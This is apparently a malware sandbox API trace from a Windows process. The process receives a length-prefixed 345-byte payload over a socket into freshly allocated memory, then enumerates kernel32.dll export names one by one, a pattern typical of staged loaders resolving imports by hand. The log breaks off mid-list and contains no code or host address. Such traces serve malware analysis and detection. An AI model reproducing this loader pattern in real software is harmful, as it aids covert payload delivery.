[0109.108] recv (in: s=0x544, buf=0x2e7f8d1, len=1, flags=0 | out: buf=0x2e7f8d1*) returned 1 [0109.108] recv (in: s=0x544, buf=0x2e7f8d2, len=1, flags=0 | out: buf=0x2e7f8d2*) returned 1 [0109.108] recv (in: s=0x544, buf=0x2e7f8d3, len=1, flags=0 | out: buf=0x2e7f8d3*) returned 1 [0109.108] recv (in: s=0x544, buf=0x2e7f8d4, len=1, flags=0 | out: buf=0x2e7f8d4*) returned 1 [0109.108] recv (in: s=0x544, buf=0x2e7f8d5, len=1, flags=0 | out: buf=0x2e7f8d5*) returned 1 [0109.108] recv (in: s=0x544, buf=0x2e7f8d6, len=1, flags=0 | out: buf=0x2e7f8d6*) returned 1 [0109.108] recv (in: s=0x544, buf=0x2e7f8d7, len=1, flags=0 | out: buf=0x2e7f8d7*) returned 1 [0109.108] recv (in: s=0x544, buf=0x2e7f8d8, len=1, flags=0 | out: buf=0x2e7f8d8*) returned 1 [0109.108] recv (in: s=0x544, buf=0x2e7f8d9, len=1, flags=0 | out: buf=0x2e7f8d9*) returned 1 [0109.108] recv (in: s=0x544, buf=0x2e7f8da, len=1, flags=0 | out: buf=0x2e7f8da*) returned 1 [0109.108] recv (in: s=0x544, buf=0x2e7f8db, len=1, flags=0 | out: buf=0x2e7f8db*) returned 1 [0109.108] recv (in: s=0x544, buf=0x2e7f8dc, len=1, flags=0 | out: buf=0x2e7f8dc*) returned 1 [0109.109] recv (in: s=0x544, buf=0x2e7f8dd, len=1, flags=0 | out: buf=0x2e7f8dd*) returned 1 [0109.109] recv (in: s=0x544, buf=0x2e7f8de, len=1, flags=0 | out: buf=0x2e7f8de*) returned 1 [0109.109] recv (in: s=0x544, buf=0x2e7f8df, len=1, flags=0 | out: buf=0x2e7f8df*) returned 1 [0109.109] recv (in: s=0x544, buf=0x2e7f8e0, len=1, flags=0 | out: buf=0x2e7f8e0*) returned 1 [0109.109] recv (in: s=0x544, buf=0x2e7f8e1, len=1, flags=0 | out: buf=0x2e7f8e1*) returned 1 [0109.109] recv (in: s=0x544, buf=0x2e7f8e2, len=1, flags=0 | out: buf=0x2e7f8e2*) returned 1 [0109.109] recv (in: s=0x544, buf=0x2e7f8e3, len=1, flags=0 | out: buf=0x2e7f8e3*) returned 1 [0109.109] recv (in: s=0x544, buf=0x2e7f8e4, len=1, flags=0 | out: buf=0x2e7f8e4*) returned 1 [0109.109] recv (in: s=0x544, buf=0x2e7f8e5, len=1, flags=0 | out: buf=0x2e7f8e5*) returned 1 [0109.109] recv (in: s=0x544, buf=0x2e7f8e6, len=1, flags=0 | out: buf=0x2e7f8e6*) returned 1 [0109.122] recv (in: s=0x544, buf=0x2e7f8e7, len=1, flags=0 | out: buf=0x2e7f8e7*) returned 1 [0109.122] recv (in: s=0x544, buf=0x2e7f8e8, len=1, flags=0 | out: buf=0x2e7f8e8*) returned 1 [0109.122] recv (in: s=0x544, buf=0x2e7f8e9, len=1, flags=0 | out: buf=0x2e7f8e9*) returned 1 [0109.122] recv (in: s=0x544, buf=0x2e7f8ea, len=1, flags=0 | out: buf=0x2e7f8ea*) returned 1 [0109.122] recv (in: s=0x544, buf=0x2e7f8eb, len=1, flags=0 | out: buf=0x2e7f8eb*) returned 1 [0109.122] recv (in: s=0x544, buf=0x2e7f8ec, len=1, flags=0 | out: buf=0x2e7f8ec*) returned 1 [0109.122] recv (in: s=0x544, buf=0x2e7f8ed, len=1, flags=0 | out: buf=0x2e7f8ed*) returned 1 [0109.122] recv (in: s=0x544, buf=0x2e7f8ee, len=1, flags=0 | out: buf=0x2e7f8ee*) returned 1 [0109.122] recv (in: s=0x544, buf=0x2e7f8ef, len=1, flags=0 | out: buf=0x2e7f8ef*) returned 1 [0109.122] recv (in: s=0x544, buf=0x2e7f8f0, len=1, flags=0 | out: buf=0x2e7f8f0*) returned 1 [0109.122] recv (in: s=0x544, buf=0x2e7f8f1, len=1, flags=0 | out: buf=0x2e7f8f1*) returned 1 [0109.123] recv (in: s=0x544, buf=0x2e7f8f2, len=1, flags=0 | out: buf=0x2e7f8f2*) returned 1 [0109.123] recv (in: s=0x544, buf=0x2e7f8f3, len=1, flags=0 | out: buf=0x2e7f8f3*) returned 1 [0109.123] recv (in: s=0x544, buf=0x2e7f8f4, len=1, flags=0 | out: buf=0x2e7f8f4*) returned 1 [0109.123] recv (in: s=0x544, buf=0x2e7f8f5, len=1, flags=0 | out: buf=0x2e7f8f5*) returned 1 [0109.123] recv (in: s=0x544, buf=0x2e7f8f6, len=1, flags=0 | out: buf=0x2e7f8f6*) returned 1 [0109.123] recv (in: s=0x544, buf=0x2e7f8f7, len=1, flags=0 | out: buf=0x2e7f8f7*) returned 1 [0109.123] recv (in: s=0x544, buf=0x2e7f8f8, len=1, flags=0 | out: buf=0x2e7f8f8*) returned 1 [0109.123] recv (in: s=0x544, buf=0x2e7f8f9, len=1, flags=0 | out: buf=0x2e7f8f9*) returned 1 [0109.123] recv (in: s=0x544, buf=0x2e7f8fa, len=1, flags=0 | out: buf=0x2e7f8fa*) returned 1 [0109.123] recv (in: s=0x544, buf=0x2e7f8fb, len=1, flags=0 | out: buf=0x2e7f8fb*) returned 1 [0109.123] recv (in: s=0x544, buf=0x2e7f8fc, len=1, flags=0 | out: buf=0x2e7f8fc*) returned 1 [0109.124] recv (in: s=0x544, buf=0x2e7f8fd, len=1, flags=0 | out: buf=0x2e7f8fd*) returned 1 [0109.124] recv (in: s=0x544, buf=0x2e7f8fe, len=1, flags=0 | out: buf=0x2e7f8fe*) returned 1 [0109.124] recv (in: s=0x544, buf=0x2e7f8ff, len=1, flags=0 | out: buf=0x2e7f8ff*) returned 1 [0109.124] recv (in: s=0x544, buf=0x2e7f900, len=1, flags=0 | out: buf=0x2e7f900*) returned 1 [0109.124] recv (in: s=0x544, buf=0x2e7f901, len=1, flags=0 | out: buf=0x2e7f901*) returned 1 [0109.124] recv (in: s=0x544, buf=0x2e7f902, len=1, flags=0 | out: buf=0x2e7f902*) returned 1 [0109.124] recv (in: s=0x544, buf=0x2e7f903, len=1, flags=0 | out: buf=0x2e7f903*) returned 1 [0109.124] recv (in: s=0x544, buf=0x2e7f904, len=1, flags=0 | out: buf=0x2e7f904*) returned 1 [0109.124] recv (in: s=0x544, buf=0x2e7f905, len=1, flags=0 | out: buf=0x2e7f905*) returned 1 [0109.124] recv (in: s=0x544, buf=0x2e7f906, len=1, flags=0 | out: buf=0x2e7f906*) returned 1 [0109.124] recv (in: s=0x544, buf=0x2e7f907, len=1, flags=0 | out: buf=0x2e7f907*) returned 1 [0109.125] recv (in: s=0x544, buf=0x2e7f908, len=1, flags=0 | out: buf=0x2e7f908*) returned 1 [0109.125] recv (in: s=0x544, buf=0x2e7f909, len=1, flags=0 | out: buf=0x2e7f909*) returned 1 [0109.125] recv (in: s=0x544, buf=0x2e7f90a, len=1, flags=0 | out: buf=0x2e7f90a*) returned 1 [0109.125] recv (in: s=0x544, buf=0x2e7f90b, len=1, flags=0 | out: buf=0x2e7f90b*) returned 1 [0109.125] recv (in: s=0x544, buf=0x2e7f90c, len=1, flags=0 | out: buf=0x2e7f90c*) returned 1 [0109.125] recv (in: s=0x544, buf=0x2e7f90d, len=1, flags=0 | out: buf=0x2e7f90d*) returned 1 [0109.125] recv (in: s=0x544, buf=0x2e7f90e, len=1, flags=0 | out: buf=0x2e7f90e*) returned 1 [0109.126] recv (in: s=0x544, buf=0x2e7f90f, len=1, flags=0 | out: buf=0x2e7f90f*) returned 1 [0109.126] recv (in: s=0x544, buf=0x2e7f910, len=1, flags=0 | out: buf=0x2e7f910*) returned 1 [0109.126] recv (in: s=0x544, buf=0x2e7f911, len=1, flags=0 | out: buf=0x2e7f911*) returned 1 [0109.126] recv (in: s=0x544, buf=0x2e7f912, len=1, flags=0 | out: buf=0x2e7f912*) returned 1 [0109.126] recv (in: s=0x544, buf=0x2e7f913, len=1, flags=0 | out: buf=0x2e7f913*) returned 1 [0109.126] recv (in: s=0x544, buf=0x2e7f914, len=1, flags=0 | out: buf=0x2e7f914*) returned 1 [0109.126] recv (in: s=0x544, buf=0x2e7f915, len=1, flags=0 | out: buf=0x2e7f915*) returned 1 [0109.126] recv (in: s=0x544, buf=0x2e7f916, len=1, flags=0 | out: buf=0x2e7f916*) returned 1 [0109.126] recv (in: s=0x544, buf=0x2e7f917, len=1, flags=0 | out: buf=0x2e7f917*) returned 1 [0109.126] recv (in: s=0x544, buf=0x2e7f918, len=1, flags=0 | out: buf=0x2e7f918*) returned 1 [0109.126] recv (in: s=0x544, buf=0x2e7f919, len=1, flags=0 | out: buf=0x2e7f919*) returned 1 [0109.126] recv (in: s=0x544, buf=0x2e7f91a, len=1, flags=0 | out: buf=0x2e7f91a*) returned 1 [0109.127] recv (in: s=0x544, buf=0x2e7f91b, len=1, flags=0 | out: buf=0x2e7f91b*) returned 1 [0109.127] recv (in: s=0x544, buf=0x2e7f91c, len=1, flags=0 | out: buf=0x2e7f91c*) returned 1 [0109.127] recv (in: s=0x544, buf=0x2e7f91d, len=1, flags=0 | out: buf=0x2e7f91d*) returned 1 [0109.127] recv (in: s=0x544, buf=0x2e7f91e, len=1, flags=0 | out: buf=0x2e7f91e*) returned 1 [0109.127] recv (in: s=0x544, buf=0x2e7f91f, len=1, flags=0 | out: buf=0x2e7f91f*) returned 1 [0109.127] StrToIntA (lpSrc="345") returned 345 [0109.127] VirtualAlloc (lpAddress=0x0, dwSize=0x159, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0109.127] recv (in: s=0x544, buf=0x3b80000, len=345, flags=0 | out: buf=0x3b80000*) returned 345 [0109.128] VirtualFree (lpAddress=0x30b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.128] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.128] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.129] closesocket (s=0x544) returned 0 [0109.129] WSACleanup () returned 0 [0109.129] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.129] VirtualFree (lpAddress=0x3040000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.130] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.130] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.130] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.131] lstrlenA (lpString="kernel32.dll") returned 12 [0109.131] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0109.131] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0109.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0109.131] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0109.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0109.131] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0109.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0109.131] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0109.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0109.131] lstrlenA (lpString="ADDATOMA") returned 8 [0109.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0109.131] lstrlenA (lpString="ADDATOMW") returned 8 [0109.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0109.131] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0109.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0109.131] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0109.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0109.131] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0109.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0109.131] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0109.131] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0109.131] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0109.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0109.132] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0109.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0109.132] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0109.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0109.132] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0109.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0109.132] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0109.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0109.132] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0109.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0109.132] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0109.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0109.132] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0109.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0109.132] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0109.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0109.132] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0109.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0109.132] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0109.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0109.132] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0109.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0109.132] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0109.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0109.132] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0109.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0109.132] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0109.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0109.132] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0109.132] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0109.132] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0109.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0109.133] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0109.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0109.133] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0109.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0109.133] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0109.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0109.133] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0109.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0109.133] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0109.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0109.133] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0109.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0109.133] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0109.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0109.133] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0109.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0109.133] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0109.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0109.133] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0109.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0109.133] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0109.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0109.133] lstrlenA (lpString="BACKUPREAD") returned 10 [0109.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0109.133] lstrlenA (lpString="BACKUPSEEK") returned 10 [0109.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0109.133] lstrlenA (lpString="BACKUPWRITE") returned 11 [0109.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0109.133] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0109.133] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0109.134] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0109.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0109.134] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0109.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0109.134] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0109.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0109.134] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0109.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0109.134] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0109.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0109.134] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0109.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0109.134] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0109.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0109.134] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0109.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0109.134] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0109.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0109.134] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0109.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0109.134] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0109.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0109.134] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0109.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0109.134] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0109.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0109.134] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0109.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0109.134] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0109.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0109.134] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0109.134] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0109.135] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0109.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0109.135] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0109.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0109.135] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0109.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0109.135] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0109.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0109.135] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0109.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0109.135] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0109.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0109.135] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0109.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0109.135] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0109.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0109.135] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0109.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0109.135] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0109.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0109.135] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0109.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0109.135] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0109.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0109.135] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0109.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0109.135] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0109.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0109.135] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0109.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" 